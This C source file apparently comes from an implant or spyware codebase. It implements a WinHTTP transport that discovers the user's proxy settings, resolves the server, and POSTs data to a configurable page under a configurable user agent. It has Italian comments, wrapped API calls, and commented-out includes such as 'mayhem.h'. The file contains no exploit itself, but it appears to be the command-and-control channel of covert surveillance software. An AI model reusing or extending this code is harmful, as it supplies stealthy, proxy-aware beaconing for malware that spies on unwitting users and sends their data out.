#include <Windows.h>
#include <winhttp.h>

#include "../Runtime/Runtime.h"
#include "Protocol.h"

#include "../common/debug.h"

//#include "globals.h"
//#include "binpatch.h"
//#include "zmem.h"
//#include "utils.h"
//#include "mayhem.h"
//#include "debug.h"

#include "winhttp.h"

//#include "version.h"


#define CONNECT_TIMEOUT 10000
#define RESOLVE_TIMEOUT 10000
#define SEND_TIMEOUT 600000
#define RECV_TIMEOUT 600000

HINTERNET hGlobalInternet = 0;
HINTERNET hSession = 0;
HINTERNET hConnect = 0;

PBYTE WinHTTPGetResponse(PRUNTIME pRuntime, PULONG uOut)
{
	PBYTE pHttpResponseBuffer;

	if (!API_WINHTTPRECEIVERESPONSE(hGlobalInternet, NULL))
	{
//#ifdef _DEBUG
//		OUTPUTDEBUG("[!!] WinHttpReceiveResponse FAIL\n");
//		DebugBreak();
//#endif
		return (PBYTE)NULL;
	}

	ULONG uContentLength;
	WCHAR szContentLength[32];
	ULONG uBufLen = sizeof(szContentLength);
	ULONG uIndex = WINHTTP_NO_HEADER_INDEX;
	if (!API_WINHTTPQUERYHEADERS(hGlobalInternet, WINHTTP_QUERY_CONTENT_LENGTH, WINHTTP_HEADER_NAME_BY_INDEX, &szContentLength, &uBufLen, &uIndex))
	{
//#ifdef _DEBUG
//		OUTPUTDEBUG(L"[!!] WinHttpQueryHeaders FAIL\n");
//		DebugBreak();
//#endif
		return (PBYTE)NULL;
	}

	uContentLength = API__WTOI(szContentLength);
	pHttpResponseBuffer = (PBYTE)API_ALLOC(pRuntime, uContentLength);
	if (!pHttpResponseBuffer || !uContentLength)
	{
//#ifdef _DEBUG
//		OUTPUTDEBUG(L"[!!] Cannot allocate buffer for HTTP response\n");
//		DebugBreak();
//#endif
		return (PBYTE)NULL;
	}

	ULONG uRead;
	uRead = *uOut = 0;
	do
	{
		if (!API_WINHTTPREADDATA(hGlobalInternet, pHttpResponseBuffer + *uOut, uContentLength, &uRead))
		{
			//fixed (non veniva deallocato in caso di errore)
			API_FREE(pRuntime, pHttpResponseBuffer);

//#ifdef _DEBUG
//			OUTPUTDEBUG(L"[!!] WinHttpReadData FAIL\n");
//			DebugBreak();
//#endif
			return (PBYTE)NULL;
		}

		*uOut += uRead;
		uContentLength -= uRead;
	} while (uRead && uContentLength);

	return pHttpResponseBuffer;
}

BOOL WinHTTPSendData(PRUNTIME pRuntime, PBYTE pBuffer, ULONG uBuffLen)
{
//#ifdef _DEBUG
	//OutputDebug(L"[+] WinHTTPSendData: %08x byte of request\n", uBuffLen);
//#endif
	BOOL ret;
	WCHAR pContentLength[1024];
	API_SWPRINTF_S(pContentLength, 1024, L"Content-Length: %d", uBuffLen);
	ret = API_WINHTTPSENDREQUEST(hGlobalInternet,
		pContentLength,
		-1L,
		pBuffer,
		uBuffLen,
		uBuffLen,
		NULL);

	if (!ret)
	{
//#ifdef _DEBUG
//		OUTPUTDEBUG(L"[!!] WinHttpSendRequest fail: %08x\n", GetLastError());
//		DebugBreak();
//#endif
	}

	return ret;
}

BOOL WinHTTPSetup(PRUNTIME pRuntime, PBYTE pServerUrl, PBYTE pAddrToConnect, ULONG uBufLen, PULONG pPortToConnect)
{
	WINHTTP_CURRENT_USER_IE_PROXY_CONFIG pProxyConfig;
	WINHTTP_PROXY_INFO pProxyInfoTemp, pProxyInfo;
	WINHTTP_AUTOPROXY_OPTIONS pOptPAC;
	DWORD dwOptions = 0;
	WCHAR _wHostProto[256];
	WCHAR _wHost[256];
	PBYTE pAddrPtr;
	char *wTypes[] = { "*\x00/\x00*\x00", 0x0 };
	BOOL isProxy = FALSE;

	API_SWPRINTF_S(_wHost, 256, L"%S", pServerUrl);
	API_SWPRINTF_S(_wHostProto, 256, L"http://%S", pServerUrl);
	ZeroMemory(&pProxyInfo, sizeof(pProxyInfo));
	ZeroMemory(&pProxyConfig, sizeof(pProxyConfig));

	// Crea una sessione per winhttp.
	hSession = API_WINHTTPOPEN(pRuntime->pVersion->strUserAgent, WINHTTP_ACCESS_TYPE_NO_PROXY, 0, WINHTTP_NO_PROXY_BYPASS, 0);

	// Cerca nel registry le configurazioni del proxy
	if (hSession && API_WINHTTPGETIEPROXYCONFIGFORCURRENTUSER(&pProxyConfig))
	{
		if (pProxyConfig.lpszProxy)
		{
			// Proxy specificato
			pProxyInfo.lpszProxy = pProxyConfig.lpszProxy;
			pProxyInfo.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY;
			pProxyInfo.lpszProxyBypass = NULL;
		}

		if (pProxyConfig.lpszAutoConfigUrl)
		{
			// Script proxy pac
			pOptPAC.dwFlags = WINHTTP_AUTOPROXY_CONFIG_URL;
			pOptPAC.lpszAutoConfigUrl = pProxyConfig.lpszAutoConfigUrl;
			pOptPAC.dwAutoDetectFlags = 0;
			pOptPAC.fAutoLogonIfChallenged = TRUE;
			pOptPAC.lpvReserved = 0;
			pOptPAC.dwReserved = 0;

			if (API_WINHTTPGETPROXYFORURL(hSession, _wHostProto, &pOptPAC, &pProxyInfoTemp))
				API_MEMCPY(&pProxyInfo, &pProxyInfoTemp, sizeof(pProxyInfo));
		}

		if (pProxyConfig.fAutoDetect)
		{
			// Autodetect proxy
			pOptPAC.dwFlags = WINHTTP_AUTOPROXY_AUTO_DETECT;
			pOptPAC.dwAutoDetectFlags = WINHTTP_AUTO_DETECT_TYPE_DHCP | WINHTTP_AUTO_DETECT_TYPE_DNS_A;
			pOptPAC.fAutoLogonIfChallenged = TRUE;
			pOptPAC.lpszAutoConfigUrl = NULL;
			pOptPAC.lpvReserved = 0;
			pOptPAC.dwReserved = 0;

			if (API_WINHTTPGETPROXYFORURL(hSession, _wHostProto, &pOptPAC, &pProxyInfoTemp))
				API_MEMCPY(&pProxyInfo, &pProxyInfoTemp, sizeof(pProxyInfo));
		}

		// Se ha trovato un valore sensato per il proxy, allora ritorna
		if (pProxyInfo.lpszProxy)
		{
			isProxy = TRUE;
			API_WINHTTPSETOPTION(hSession, WINHTTP_OPTION_PROXY, &pProxyInfo, sizeof(pProxyInfo));

			// Parsa la stringa per separare la porta
			API__SNPRINTF_S((PCHAR)pAddrToConnect, uBufLen, _TRUNCATE, "%S", pProxyInfo.lpszProxy);
			if (pAddrPtr = (PBYTE)strchr((PCHAR)pAddrToConnect, (int)':'))
			{
				*pAddrPtr = 0;
				pAddrPtr++;
				API_SSCANF_S((PCHAR)pAddrPtr, "%d", pPortToConnect);
			}
			else
				*pPortToConnect = 8080;

			if (!ResolveName(pRuntime, pAddrToConnect, pAddrToConnect, uBufLen))
			{
//#ifdef _DEBUG
//				OUTPUTDEBUG(L"[!!] Cannot resolve name !\n");
//				DebugBreak();
//#endif
				API_WINHTTPCLOSEHANDLE(hSession);
				return FALSE;
			}
		}
	}

	if (!isProxy)
	{
		*pPortToConnect = 80; // se ci stiamo connettendo diretti usiamo di default la porta 80
		if (!ResolveName(pRuntime, pServerUrl, pAddrToConnect, uBufLen))
		{
//#ifdef _DEBUG
//			OUTPUTDEBUG(L"[!!] Cannot resolve name 2\n");
//			DebugBreak();
//#endif
			return FALSE;
		}
		API_SWPRINTF_S(_wHost, 256, L"%S", pAddrToConnect); // In questo caso mette nella richiesta winhttp direttamente l'indirizzo IP
	}

//#ifdef _DEBUG
//	OUTPUTDEBUG(L"[*] WinHTTPSetup got host: %s, port: %d\n", &_wHost, *pPortToConnect);
//#endif

	// Definisce il target
	if (!(hConnect = API_WINHTTPCONNECT(hSession, (LPCWSTR)_wHost, INTERNET_DEFAULT_HTTP_PORT, 0)))
		return FALSE;

	//if (!(hGlobalInternet = WinHttpOpenRequest(hConnect, L"POST", L"/about.php", NULL, WINHTTP_NO_REFERER, (LPCWSTR *) wTypes, 0)))
	if (!(hGlobalInternet = API_WINHTTPOPENREQUEST(hConnect, L"POST", pRuntime->pVersion->strPostPage, NULL, WINHTTP_NO_REFERER, (LPCWSTR *)wTypes, 0)))
	{

//#ifdef _DEBUG
//		OUTPUTDEBUG(L"[!!] WinHttpOpenRequest FAILED\n");
//		DebugBreak();
//#endif

		API_WINHTTPCLOSEHANDLE(hSession);
		return FALSE;
	}

	API_WINHTTPSETTIMEOUTS(hGlobalInternet, RESOLVE_TIMEOUT, CONNECT_TIMEOUT, SEND_TIMEOUT, RECV_TIMEOUT);
	return TRUE;
}


BOOL ResolveName(PRUNTIME pRuntime, PBYTE pServerUrl, PBYTE pAddrToConnect, ULONG uBufLen)
{
	struct hostent *hAddress;
	PBYTE pAddrPtr;
	WORD wVersionRequested;
	WSADATA pWSAData;

//#ifdef _DEBUG
//	OUTPUTDEBUG(L"[*] ResolveName resolving: %S\n", pServerUrl);
//#endif

	// E' gia' un indirizzo IP
	if (API_INET_ADDR((PCHAR)pServerUrl) != INADDR_NONE)
	{
		API__SNPRINTF_S((PCHAR)pAddrToConnect, uBufLen, _TRUNCATE, "%s", pServerUrl);
		return TRUE;
	}

	wVersionRequested = MAKEWORD(2, 2);
	if (API_WSASTARTUP(wVersionRequested, &pWSAData) != 0)
	{
//#ifdef _DEBUG
//		OUTPUTDEBUG(L"WSAStartup FAILED\n");
//		DebugBreak();
//#endif
		return FALSE;
	}

	hAddress = API_GETHOSTBYNAME((PCHAR)pServerUrl);
	API_WSACLEANUP();

	if (!hAddress || !(pAddrPtr = (PBYTE)API_INET_NTOA(*(struct in_addr*)hAddress->h_addr)))
	{
//#ifdef _DEBUG
//		OUTPUTDEBUG(L"inet_ntoa or gethostbyname FAILED\n");
//		DebugBreak();
//#endif
		return FALSE;
	}

	API__SNPRINTF_S((PCHAR)pAddrToConnect, uBufLen, _TRUNCATE, "%s", pAddrPtr);

	return TRUE;
}


VOID WinHTTPClose(PRUNTIME pRuntime)
{
	if (hSession)
	{
//#ifdef _DEBUG
//		OUTPUTDEBUG(L"[+] Closing hSession\n");
//#endif
		API_WINHTTPCLOSEHANDLE(hSession);
	}
	hSession = NULL;

	if (hGlobalInternet)
	{
//#ifdef _DEBUG
//		OUTPUTDEBUG(L"[+] Closing hGlobalInternet\n");
//#endif
		API_WINHTTPCLOSEHANDLE(hGlobalInternet);
	}
	hGlobalInternet = NULL;

	if (hConnect)
	{

//#ifdef _DEBUG
//		OUTPUTDEBUG(L"[+] Closing hConnect\n");
//#endif
		API_WINHTTPCLOSEHANDLE(hConnect);
	}
	hConnect = NULL;

}